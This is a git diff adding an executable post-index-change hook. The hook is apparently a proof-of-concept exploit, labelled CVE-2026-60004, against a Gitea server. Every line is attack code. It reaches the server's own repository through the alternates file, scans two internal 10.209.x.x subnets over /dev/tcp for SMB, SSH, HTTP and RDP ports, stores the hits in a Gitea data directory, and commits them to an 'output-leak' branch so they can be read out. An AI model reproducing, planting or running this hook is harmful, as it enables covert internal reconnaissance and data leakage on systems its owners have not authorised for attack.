diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..b87d555
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,26 @@
+#!/bin/sh
+GD=$(git rev-parse --absolute-git-dir)
+REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
+OUT=$(
+OUT=/var/lib/gitea/.disc.txt
+> $OUT
+for sub in 10.209.15 10.209.179; do
+  for i in $(seq 1 254); do
+    ip="$sub.$i"
+    (timeout 1 bash -c "echo > /dev/tcp/$ip/445" 2>/dev/null && echo "$ip" >> $OUT) &
+    (timeout 1 bash -c "echo > /dev/tcp/$ip/22" 2>/dev/null && echo "$ip" >> $OUT) &
+    (timeout 1 bash -c "echo > /dev/tcp/$ip/80" 2>/dev/null && echo "$ip" >> $OUT) &
+    (timeout 1 bash -c "echo > /dev/tcp/$ip/3389" 2>/dev/null && echo "$ip" >> $OUT) &
+    # limit parallelism: every 20 hosts wait
+    if [ $((i % 20)) -eq 0 ]; then wait; fi
+  done
+  wait
+done
+sort -u $OUT
+echo DISC-DONE
+ 2>&1; echo "[exit-status=$?]")
+BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
+TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
+CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
+git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
+#A